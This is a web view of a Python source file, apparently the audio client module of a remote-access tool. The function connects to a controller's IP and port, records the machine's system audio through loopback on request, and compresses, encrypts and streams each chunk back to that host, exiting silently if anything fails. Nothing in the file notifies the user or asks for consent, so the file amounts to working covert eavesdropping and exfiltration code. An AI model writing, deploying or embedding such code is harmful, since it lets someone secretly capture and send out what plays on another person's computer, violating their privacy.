summaryrefslogtreecommitdiff
path: root/Modules/Clients/audio.py
blob: a1a8d400a0ba40d85dc9f1bfb923fe4cff9e41c4 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import pyaudio
import socket
import pickle
import zlib

from Specific.encrypt import Encryption
from sys import exit


def Audio(ip, port, encoding):
  try:
    headersize = 10
    new_msg = True
    msg_len = 0
    full_msg = b''

    e = Encryption()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))

    CHUNK = 81920
    FORMAT = pyaudio.paInt16
    CHANNELS = 2
    RATE = 44100
    p = pyaudio.PyAudio()
    stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, frames_per_buffer=CHUNK, as_loopback=True)

    while True:
      try:
        Audio_msg = s.recv(1024)

        if new_msg:
          msg_len = int(Audio_msg[:headersize])
          new_msg = False

        full_msg += Audio_msg

        if len(full_msg)-headersize == msg_len:
          frame = stream.read(CHUNK)

          frame = pickle.dumps(frame)
          frame = zlib.compress(frame, 1)
          frame = e.do_encrypt(frame)

          final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame
          s.send(final_msg)

          new_msg = True
          msg_len = 0
          full_msg = b''
      except:
        stream.stop_stream()
        stream.close()
        p.terminate()
        exit(0)
  except:
    exit(0)